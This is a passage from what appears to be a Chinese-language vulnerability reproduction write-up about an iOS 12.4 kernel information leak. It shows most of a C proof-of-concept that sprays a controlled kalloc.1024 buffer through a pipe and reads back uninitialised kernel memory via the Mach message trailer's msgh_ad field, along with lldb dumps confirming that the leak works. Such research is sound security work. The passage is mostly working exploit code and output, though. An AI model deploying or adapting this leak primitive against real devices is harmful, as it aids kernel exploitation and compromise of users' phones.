	mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

	printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
	uint32_t *pipe_buff = malloc(1020);
	for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
		pipe_buff[i] = MAGIC;
	pipe(fd);
	write(fd[1], pipe_buff, 1020);
	
	printf("[+] Creating kalloc.1024 ipc_kmsg\n");
	mach_msg_base_t *message = NULL;

	// size to fit in kalloc.1024, trust me, I'm an expert (c)
	mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0); 

	message = malloc(message_size + MAX_TRAILER_SIZE);
	memset(message, 0, message_size + MAX_TRAILER_SIZE);
	message->header.msgh_size = message_size;
	message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
	message->body.msgh_descriptor_count = 0;
	message->header.msgh_remote_port = port;

	uint8_t *buffer;
	buffer = malloc(message_size + MAX_TRAILER_SIZE);

	printf("[+] Freeing controlled buffer\n");
	close(fd[0]);
	close(fd[1]);

	printf("[+] Sending message\n");
	mach_msg(&message->header, 
	        MACH_SEND_MSG, 
	        message_size, 
	        0, 
	        MACH_PORT_NULL, 
	        MACH_MSG_TIMEOUT_NONE, 
	        MACH_PORT_NULL);
	memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
	printf("[+] Now reading message back\n");
	mach_msg((mach_msg_header_t *)buffer, 
	        MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 
	        0, 
	        message_size + MAX_TRAILER_SIZE, 
	        port, 
	        MACH_MSG_TIMEOUT_NONE, 
	        MACH_PORT_NULL);
	
	mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
	printf("[+] Leaked value: %x\n", trailer->msgh_ad);

	return 0;
}

使用XCode调试,新建一个iOS应用,运行在12.4的iPhone 6上,把Poc代码插入运行

IMAGE

我这里发现了一个XCode解析结构体的问题,按照结构体定义,我标出了msgh_audit的数组位置,在val[7]后面,是64位长度的msgh_context,但是这里解析出错,因为47148392572927344640x416e795300000000,修正结构体偏移后,在msgh_ad的位置上是我们提前设置的数据0x416e7953

(lldb) p *(mach_msg_mac_trailer_t *)0x000000010fe00cdc
(mach_msg_mac_trailer_t) $11 = {
  msgh_trailer_type = 0
  msgh_trailer_size = 68
  msgh_seqno = 0
  msgh_sender = {
    val = ([0] = 501, [1] = 501)
  }
  msgh_audit = {
    val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6] = 0, [7] = 1792)
  }
  msgh_context = 4714839257292734464
  msgh_ad = 0
  msgh_labels = (sender = 0)
}
(lldb) x/32x trailer
0x10fe00cdc: 0x00000000         0x00000044         0x00000000         0x000001f5
0x10fe00cec: 0x000001f5         0xffffffff(val[0]) 0x000001f5(val[1]) 0x000001f5(val[2])
0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5]) 0x00000000(val[6])
0x10fe00d0c: 0x00000700(val[7]) 0x00000000         0x00000000         0x416e7953(msgh_ad)
0x10fe00d1c: 0x00000000(msgh_labels) 0x00000000 0xf0000000 0x00000000

现在成功泄露出内核数据

那我们如何泄露出一个有用的内核数据呢?

咱们下次再聊

关于符号的问题,我在漏洞复现结束后突发奇想,既然五个函数都有同样的问题,那么说明五个函数漏洞场景肯定是相同的,所以搜索以下这句代码

trailer->msgh_trailer_type = 

妥了,五个函数都在这里了

IMAGE